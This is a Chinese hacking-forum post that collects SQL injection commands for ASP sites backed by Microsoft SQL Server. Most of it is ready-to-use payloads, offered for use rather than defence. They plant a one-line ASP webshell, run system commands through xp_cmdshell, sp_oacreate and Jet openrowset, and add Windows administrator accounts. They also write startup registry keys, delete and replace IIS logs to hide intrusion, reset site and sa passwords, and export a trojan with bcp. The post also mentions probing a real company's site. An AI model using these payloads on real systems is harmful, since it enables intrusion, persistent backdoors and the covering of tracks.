找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1240|回复: 0

ASP注入详细命令

[复制链接]

61

主题

605

回帖

1276

牛毛

论坛管理员

新的开始,就是新的一天,属于自

积分
1276
发表于 2008-6-26 19:14:30 | 显示全部楼层 |阅读模式
用^转义字符来写ASP(一句话木马)文件的方法:  
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell &#39;echo ^<script language=VBScript runat=server^>execute request^(\"l\"^)^</script^> >c:\\mu.asp&#39;;--  

? echo ^<%execute^(request^(\"l\"^)^)%^> >c:\\mu.asp  


2、 显示SQL系统版本:  
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)  
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)-- 网管联盟bitsCN_com  

Microsoft VBScript 编译器错误 错误 &#39;800a03f6&#39;  
缺少 &#39;End&#39;  
/iisHelp/common/500-100.asp,行242  
Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;  
字串4

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) &#39; to a column of data type int.  
/display.asp,行17  
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用\"in\"关键字进行查询,例如\"select * from mytable where id in(1)\",括号中的值就是我们提交的数据,它的结果与使用\"select * from mytable where id=1\"的查询结果完全相同。所以访问页面的时候在URL后面加上\") and 1=1 and 1 in(1\"后原来的SQL语句就变成了\"select * from mytable where id in(1) and 1=1 and 1 in(1)\",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为\"包含数字型\"吧,聪明的你一定想到了还有\"包含字符型\"呢。对了,它就是由于类似\"select * from mytable where name in(&#39;firstsee&#39;)\"的查询语句造成的。  
字串8




4、 判断xp_cmdshell扩展存储过程是否存在:  
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = &#39;X&#39; AND name = &#39;xp_cmdshell&#39;)  
恢复xp_cmdshell扩展存储的命令:  
http://www.test.com/news/show1.asp?NewsId=125272  
;exec master.dbo.sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;e:\\inetput\\web\\xplog70.dll&#39;;--  


5、 向启动组中写入命令行和执行程序:  
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&#39;,&#39;help1&#39;,&#39;REG_SZ&#39;,&#39;cmd.exe /c net user test ptlove /add&#39;  


6、 查看当前的数据库名称:  
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了  黑蚂蚁安全网(www.hackant.com)
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())--  
Microsoft VBScript 编译器错误 错误 &#39;800a03f6&#39;  
缺少 &#39;End&#39;  
/iisHelp/common/500-100.asp,行242  
Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;huidahouse&#39; to a column of data type int.  
/display.asp,行17  
7、 列出当前所有的数据库名称:  
select * from master.dbo.sysdatabases 列出所有列的记录  
select name from master.dbo.sysdatabases 仅列出name列的记录  


8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:  
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)  
DECLARE @shell INT  
DECLARE @fso INT  
DECLARE @file INT  字串2
DECLARE @isEnd BIT  
DECLARE @out VARCHAR(400)  
EXEC sp_oacreate &#39;wscript.shell&#39;,@shell output  
EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c dir c:\\>c:\\temp.txt&#39;,&#39;0&#39;,&#39;true&#39;  
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。 EXEC sp_oacreate &#39;scripting.filesystemobject&#39;,@fso output  
EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:\\temp.txt&#39;  
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌  
WHILE @shell>0  
BEGIN  
EXEC sp_oamethod @file,&#39;Readline&#39;,@out out  
insert INTO MYTMP(info) VALUES (@out)  
EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out  
IF @isEnd=1 BREAK  
ELSE CONTINUE  
END  

drop TABLE MYTMP  

----------  
DECLARE @shell INT  
字串4


DECLARE @fso INT  
DECLARE @file INT  
DECLARE @isEnd BIT  
DECLARE @out VARCHAR(400)  
EXEC sp_oacreate &#39;wscript.shell&#39;,@shell output  
EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs set /W3SVC/InProcessIsapiApps \"C:\\WINNT\\system32\\idq.dll\" \"C:\\WINNT\\system32\\inetsrv\\httpext.dll\" \"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll\" \"C:\\WINNT\\system32\\inetsrv\\ssinc.dll\" \"C:\\WINNT\\system32\\msw3prt.dll\" \"C:\\winnt\\system32\\inetsrv\\asp.dll\">c:\\temp.txt&#39;,&#39;0&#39;,&#39;true&#39;  
EXEC sp_oacreate &#39;scripting.filesystemobject&#39;,@fso output  
EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:\\temp.txt&#39;  
WHILE @shell>0  
BEGIN  
EXEC sp_oamethod @file,&#39;Readline&#39;,@out out  
insert INTO MYTMP(info) VALUES (@out)  
EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out  字串9
IF @isEnd=1 BREAK  
ELSE CONTINUE  

以下是一行里面将WEB用户加到管理员组中:  
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate &#39;wscript.shell&#39;,@shell output EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs set /W3SVC/InProcessIsapiApps \"C:\\WINNT\\system32\\idq.dll\" \"C:\\WINNT\\system32\\inetsrv\\httpext.dll\" \"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll\" \"C:\\WINNT\\system32\\inetsrv\\ssinc.dll\" \"C:\\WINNT\\system32\\msw3prt.dll\" \"C:\\winnt\\system32\\inetsrv\\asp.dll\">c:\\temp.txt&#39;,&#39;0&#39;,&#39;true&#39; EXEC sp_oacreate &#39;scripting.filesystemobject&#39;,@fso output EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:\\temp.txt&#39; WHILE @shell>0 BEGIN EXEC sp_oamethod @file,&#39;Readline&#39;,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END  
字串4


以下是一行中执行EXE程序:  
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate &#39;wscript.shell&#39;,@shell output EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c cscript.exe E:\\bjeea.net.cn\\score\\fts\\images\\iis.vbs lh1 c:\\>c:\\temp.txt&#39;,&#39;0&#39;,&#39;true&#39; EXEC sp_oacreate &#39;scripting.filesystemobject&#39;,@fso output EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:\\temp.txt&#39; WHILE @shell>0 BEGIN EXEC sp_oamethod @file,&#39;Readline&#39;,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END  
SQL下三种执行CMD命令的方法:  

先删除7.18号日志:  
(1)exec master.dbo.xp_cmdshell &#39;del C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log >c:\\temp.txt&#39; 网管论坛bbs_bitsCN_com  

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate &#39;wscript.shell&#39;,@shell output EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c del C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log >c:\\temp.txt&#39;,&#39;0&#39;,&#39;true&#39; EXEC sp_oacreate &#39;scripting.filesystemobject&#39;,@fso output EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:\\temp.txt&#39; WHILE @shell>0 BEGIN EXEC sp_oamethod @file,&#39;Readline&#39;,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END  字串6


(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:  
? exec master..xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\\Microsoft\\Jet\\4.0\\Engines&#39;,&#39;SandBoxMode&#39;,&#39;REG_DWORD&#39;,1  
注:  
0 禁止一切(默认)  
1 使能访问ACCESS,但是禁止其它  
2 禁止访问ACCESS,但是使能其他  
3 使能一切  

? 这里仅给出sysadmin权限下使用的命令:  
select * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\\winnt\\system32\\ias\\ias.mdb&#39;,&#39;select shell(\"cmd.exe /c net user admin admin1234 /add\")&#39;)  


? 建立链接数据库&#39;L0op8ack&#39;参考命令:  
EXEC sp_addlinkedserver &#39;L0op8ack&#39;,&#39;OLE DB Provider for Jet&#39;,&#39;Microsoft.Jet.OLEDB.4.0&#39;,&#39;c:\\windows\\system32\\ias\\ias.mdb&#39;  字串4


? 如何使用链接数据库:  


使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合  
sp_addlinkedserver需要sysadmin或setupadmin权限  
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限  
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,  
一般没有哪个管理员这么设置普通帐户权限的  

实用性不强,仅作为一个学习总结吧 网管论坛bbs_bitsCN_com  

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,  
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败  
需要找一个一般用户可访问的mdb才可以:  

? 新建链接服务器\"L0op8ack\":EXEC sp_addlinkedserver &#39;L0op8ack&#39;,&#39;JetOLEDB&#39;,&#39;Microsoft.Jet.OLEDB.4.0&#39;,&#39;c:\\winnt\\system32\\ias\\ias.mdb&#39;;--  
? exec sp_addlinkedsrvlogin &#39;L0op8ack&#39;,&#39;false&#39;;--或  字串3
exec sp_addlinkedsrvlogin &#39;L0op8ack&#39;, &#39;false&#39;, NULL, &#39;test1&#39;, &#39;ptlove&#39;;--  
? select * FROM OPENQUERY(L0op8ack, &#39;select shell(\"cmd.exe /c net user\")&#39;);--  
? exec sp_droplinkedsrvlogin &#39;L0op8ack&#39;,&#39;false&#39;;--  
? exec sp_dropserver &#39;L0op8ack&#39;;--  

再拷贝一个其它文件来代替7.18日文件:  
(1)exec master.dbo.xp_cmdshell &#39;copy C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050716.log C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log>c:\\temp.txt&#39;  

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate &#39;wscript.shell&#39;,@shell output EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c copy C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050716.log C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log>c:\\temp.txt&#39;,&#39;0&#39;,&#39;true&#39; EXEC sp_oacreate &#39;scripting.filesystemobject&#39;,@fso output EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:\\temp.txt&#39; WHILE @shell>0 BEGIN EXEC sp_oamethod @file,&#39;Readline&#39;,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END  
字串2





(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate &#39;wscript.shell&#39;,@shell output EXEC sp_oamethod @shell,&#39;run&#39;,null,&#39;cmd.exe /c net user>c:\\temp.txt&#39;,&#39;0&#39;,&#39;true&#39; EXEC sp_oacreate &#39;scripting.filesystemobject&#39;,@fso output EXEC sp_oamethod @fso,&#39;opentextfile&#39;,@file out,&#39;c:\\temp.txt&#39; WHILE @shell>0 BEGIN EXEC sp_oamethod @file,&#39;Readline&#39;,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,&#39;AtEndOfStream&#39;,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END  

9、 用update来更新表中的数据:  
<a href=&#39;<a href=&#39;HTTP://xxx.xxx.xxx/abc.asp?p=YY;update&#39;&#39; target=&#39;_blank&#39;>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update&#39;</a> target=&#39;_blank&#39;><a href=&#39;HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a>&#39; target=&#39;_blank&#39;>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a></a> upload.dbo.admin set pwd=&#39;a0b923820dcc509a&#39; where username=&#39;www&#39;;--  字串8
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;  
32位MD5值为: ,密码为  

10、 利用表内容导成文件功能  
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。  
命令行格式如下:  
bcp \"select * from temp \" queryout c:\\inetpub\\wwwroot\\runcommand.asp –c –S localhost –U sa –P upload(&#39;S&#39;参数为执行查询的服务器,&#39;U&#39;参数为用户名,&#39;P&#39;参数为密码,最终上传了一个runcommand.asp的木马)。  

11、创建表、播入数据和读取数据的方法  
? 创建表:  
&#39; and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--  
? 往表里播入数据:  
&#39; and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=&#39;U&#39; and status>0,@result output insert into cyfd (gyfd) values(@result);--  
字串6

&#39; and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SYSTEM\\CONTROLSet001\\Services\\W3SVC\\Parameters\\Virtual Roots&#39;, &#39;/&#39; ,@result output insert into cyfd (gyfd) values(@result);--  
? 从表里读取数据:  
&#39; and 1=(select count(*) from cyfd where gyfd >1)--  

? 删除临时表:  
&#39;;drop table cyfd;--  


12、通过SQL语句直接更改sa的密码:  
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。  



? 查看本机所有的数据库用户名:  
select * from master.dbo.sysxlogins  
select name,sid,password ,dbid from master.dbo.sysxlogins  




字串7


? 更改sa口令方法:用sql综合利用工具连接后,执行命令:  
exec sp_password NULL,&#39;新密码&#39;,&#39;sa&#39; 网管网www_bitscn_com  

13、查询dvbbs库中所有的表名和表结构:  
? select * from dvbbs.dbo.sysobjects where xtype=&#39;U&#39; and status>0  
? select * from dvbbs.dbo.syscolumns where id=1426104121
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-12 10:08 , Processed in 0.116727 second(s), 29 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表